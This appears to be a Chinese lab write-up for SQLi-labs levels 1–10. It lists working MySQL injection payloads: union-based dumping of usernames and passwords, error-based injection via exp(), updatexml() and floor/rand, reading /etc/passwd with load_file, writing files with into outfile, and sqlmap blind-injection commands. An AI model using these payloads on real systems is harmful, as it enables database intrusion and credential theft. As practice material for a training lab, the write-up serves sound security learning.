SQLlabs 通关笔记

mysql数据结构

在练习靶场前我们需要了解以下mysql数据库结构,mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tablescolumnstables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库。了解这些对于我们之后去查询数据有很大帮助。我们前面机关讲解比较详细后面就比较简单了。 这个是我第一次做sql的时候看到那些payload的时候很不懂的一个东西,后来才知道是MySQL里面自带的。

less 1~4

这一题比较常规直接给出payload,只是每个的闭合点或者传参方式有点不一样

//找列数
?id=1' order by 3#
?id=1' order by 4#
//确定哪个字段有回现
?id=0' union select 1,2,3#//令id=0是因为数据库有1这个id,而它的回显位置有限,不会将所有查询的东西返回出来,只能取有的第一行数据
//爆出当前数据库
?id=0' union select 1,2,database()#
//爆出当前数据库的表名
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
//爆出当前表的列名
?id=0' union select 1,2,group_concat(COLUMN_name) from information_schema.COLUMNS where table_name='users'#
//爆出当数据库的user表所有的passwd和username
?id=0' union select 1,group_concat(username),group_concat(password) from users#

less 5、6

这里就没有回显了,但是还是会有报错这个时候可以使用报错注入

报错注入

什么是报错注入

报错注入是通过特殊函数错误使用并使其输出结果来获取信息的。简单点来说,就是在可以进行sql注入的位置,调用特殊的函数执行,利用函数报错使其输出结果来获取数据库的相关信息

使用条件

页面错误信息显示出来

种类

BigInt等数据类型溢出

函数参数格式错误

主键、字段重复

报错函数
BigInt函数数据类型溢出报错注入

mysql数据库版本为:?id=1' and exp(~(select * from (select user())a))--+

exp(int)函数利用是BigInt数据类型溢出

作用:返回e的x次方,当x的值足够大的时候就会导致函数的结果数据类型溢出

利用方式:当涉及到注入时,我们使用否定查询来造成“DOUBLE value is out of range”,因为函数成功执行时,会返回0,那么我们先将0按位取反,在获取e的那个数的次方,就会造成BigInt数据类型溢出,就会报错

payload:?id=1' and exp(~(select * from (select user())a))#
语意:先查询select user()这个语句的结果,然后将查询出来的数据作为一个结果集取名为a,再查询a,将结果a全部查出来
and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a))#表名
and exp(~(select * from (select column_name from information_schema.columns where table_name='users' limit 0,1)a))#列名
and exp(~(select * from (select column_name from information_schema.columns where table_name='users' limit 0,1)a))#列名里面的信息
and exp(~(select * from (select load_file('/etc/passwd'))a))#读取文件

注意:对于所有的insert、update和delete语句DIOS查询也同样可以使用 除了exp()函数之外,pow()之类的相似函数同样可以利用BigInt数据溢出的方式进行报错注入

参数格式错误进行报错注入

updataxml函数利用的就是mysql函数参数格式错误进行报错注入

语法:updataxml(XML_document,Xpath_string,new_value);

语法解析:

XML_document:是字符串String格式,为XML文档对象名称

Xpath_string:Xpath格式的字符串

new_value:string格式,替换查找到的符合条件的数据

适用版本:5.1.5+

利用方式:在执行两个函数时,如果出现xml文件路径错误,就会产生报错,那么我们就需要构造Xpath_tring格式错误,就是我们将Xpath_string的值传递成不符合格式的参数,mysql就会报错

payload:
?id=1' and updatexml(1,concat(0x7e,user(),0x7e,version(),0x7e),3)--+#查询当前数据库用户信息以及数据库版本信息
?id=1' and updatexml(1,concat(0x7e,database(),0x7e,@@version_compile_os,0x7e),3)--+#查询当前数据库名称和操作系统版本信息
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3)--+#获取当前数据库下数据表的信息

注意:在使用updatexml()函数造成xpath格式不符报错注入的时候,需要注意: updatexml最多只能显示32位,需要配合SUBSTR使用

主键重复

这种方式可以实现报错的原因:虚拟表的主键重复

首先,主键重复方式的报错注入利用的函数有:floor() + rand() + group() + count()

floor()函数的作用就是返回小于等于该值的最大整数,即向下取整,只保留整数部分;count()函数是一个计数函数 group by 语句与count()函数结合,根据一个或多个列对结果集进行分组;rand()函数用来随机生成0或1,在sql报错注入中,我们使用rand(0)获取有规律可循的0或1随机数字(rand()生成的数字是完全随机的)

原理:在使用group by进行分组查询的时候,数据库会生成一张虚拟表,并使用group by还要进行两次运算,第一次运算是先获取group by后面的值,然后拿group by后面的值去和虚拟表中的值比较;第二次是对比虚拟表中的值如果group by后面的值在虚拟表中不存在,那么就将group by后面的值插入到虚拟表中,当插入虚拟表中时,进行运算。那么,rand()函数存在一定的随机性,所以group by后面的值两次计算结果可能不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时候吧值插入到虚拟表中就会导致主键重复,进而引发错误!!来实现我们想要的效果

payload:
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

less 7-10

盲注

延时盲注
sqlmap -u "http://127.0.0.1:8888/Less-7/?id=1" --dbms=MySQL --random-agent --flush-session --technique=T -v 3
布尔盲注
sqlmap -u "http://127.0.0.1:8888/Less-7/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

导出数据到文件

使用 outfile 导出到文件来查询数据,默认 outfile 是没有开启的,得手动开启一下

# mysql -e "show global variables like '%secure%';"
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
  • ure_file_priv 的值为 null ,表示限制 mysqld 不允许导入 | 导出
  • 当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入 | 导出只能发生在 /tmp/ 目录下
  • 当 secure_file_priv 的值为 时,表示不对 mysqld 的导入 | 导出做限制
payload:/?id=1')) union select * from security.users into outfile "D://phpstudy_pro/WWW/sqllabs/Less-7/1.txt"#

SQLlabs less1-10通关笔记的更多相关文章

  1. 对<< ubuntu 12.04编译安装linux-3.6.10内核笔记>>的修正

    前题: 在前几个月的时候,写了一篇笔记,说的是kernel compile的事情,当时经验不足,虽说编译过了,但有些地方写的有错误--因为当时的理解是有错误的.今天一一更正,记录如下: 前文笔记链接: ...

  2. Direct3D 10学习笔记(四)——Windows编程

    本篇将简单整理基本的Windows应用程序的实现,并作为创建Direct3D 10应用程序的铺垫.具体内容参照< Introduction to 3D Game Programming with ...

  3. Direct3D 10学习笔记(三)——文本输出

    本篇将简单整理Direct3D 10的文本输出的实现,具体内容参照< Introduction to 3D Game Programming with DirectX 10>(中文版有汤毅 ...

  4. Direct3D 10学习笔记(二)——计时器

    本篇将简单整理Direct3D 10的计时器实现,具体内容参照< Introduction to 3D Game Programming with DirectX 10>(中文版有汤毅翻译 ...

  5. Direct3D 10学习笔记(一)——初始化

    本篇将简单整理Direct3D 10的初始化,具体内容参照< Introduction to 3D Game Programming with DirectX 10>(中文版有汤毅翻译的电 ...

  6. Altium Designer 10 快捷键笔记

    一.放置.走线类: 1.交互式走线(Track):P T 2.铺铜(Fill):P F 3.大面积铺铜(Polygon):P G 4.自动扇出:元件封装上右键,C F 二.编辑类 1.调整铺铜(Pol ...

  7. 『流畅的Python』第10章笔记_序列类型

    一.基础知识 “__”前缀:私有属性.方法,在__dict__中存储时被改写为“_类名__”前缀 “_”前缀:是约定俗成的保护属性.方法,不过编译器不会对之采取任何处理 二.class特殊方法介绍 在 ...

  8. Web文件上传靶场 - 通关笔记

    Web应用程序通常会提供一些上传功能,比如上传头像,图片资源等,只要与资源传输有关的地方就可能存在上传漏洞,上传漏洞归根结底是程序员在对用户文件上传时控制不足或者是处理的缺陷导致的,文件上传漏洞在渗透 ...

  9. Linux就该这么学10学习笔记

    参考链接:https://www.linuxprobe.com/chapter-10.html 网站服务程序 第1步:把光盘设备中的系统镜像挂载到/media/cdrom目录. [root@linux ...

  10. 2020/10/3笔记-网络概述、拓扑类型、OSI模型

    网络(network) 1.什么是网络 计算机网络(简称为网络)由若干节点(node)和连接的链路组成.网络中的节点可以是计算机.集线器.交换机或路由器等. 2.网络的作用是什么 网络最终为了解决的问 ...

随机推荐

  1. Django数据迁移介绍

    1.简介 迁移是 Django 将你对模型的修改(例如增加一个字段,删除一个模型)应用至数据库表结构对方式 2.基本命令 python manage.py migrate---负责应用和撤销迁移 py ...

  2. 在POD的ENV中添加POD的信息

    主要用到的参数: - name POD_NAME volumeFrom: fieldRef: fieldPath:   metadata.name - name: POD_IP volumeFrom: ...

  3. MySQL学习(九)frm与ibd了解

    参考:https://cloud.tencent.com/developer/article/1533746 InnoDB: frm,ibd MyISAM: frm,myd,myi ibd是InnoD ...

  4. 声网Agora 教育 aPaaS 灵动课堂升级:UI与业务逻辑分离,界面、功能自定义更灵活

    声网Agora 教育 aPaaS 产品灵动课堂现已升级至 v1.1.0 版本.声网Agora 灵动课堂可以帮助教育机构和开发者最快 15 分钟上线自有品牌.全功能的在线互动教学平台,节省 90% 开发 ...

  5. 刷爆 LeetCode 双周赛 100,单方面宣布第一题最难

    本文已收录到 AndroidFamily,技术和职场问题,请关注公众号 [彭旭锐] 提问. 大家好,我是小彭. 上周末是 LeetCode 第 100 场双周赛,你参加了吗?这场周赛整体没有 Hard ...

  6. Hash 表

    更多内容,前往 IT-BLOG 哈希表(Hash table,也叫散列表),是根据关键码值(Key value)而直接进行访问的数据结构.也就是说,它通过把关键码值映射到表中一个位置来访问记录,以加快 ...

  7. 常用ADB命令使用方法

    移动端操作流程 在设置中找到关于手机(或关于平板电脑) 连续点击版本号5次 在系统和更新中点击开发者选项 打开USB调试功能 PC端操作流程 打开cmd或powershell 移动到adb.exe所在 ...

  8. 使用Kali复现永恒之蓝

    使用Kali复现永恒之蓝 本次实验为离线靶机测试 实验步骤 确认测试环境:在开始测试之前,需要确认测试环境是否符合要求.我使用的是一台运行Kali的测试机和一台运行Windows 7 64位的靶机.确 ...

  9. [整理] FFmpeg官方文档树

    扫了一遍官方文档,整理张官文树. 当然还有很多细节,可以慢慢沿着树根填,有需要可以联系我要ProcessON源文件,我尽量给个最新的出来. 官文 : http://ffmpeg.org/documen ...

  10. [Oracle]创建数据库表【待完善】

    1 前期准备 -- 参考文献 https://www.it1352.com/597381.html -- step1 创建用户<JOHNY>, 来创建对应的(默认)数据库模式(SCHEMA ...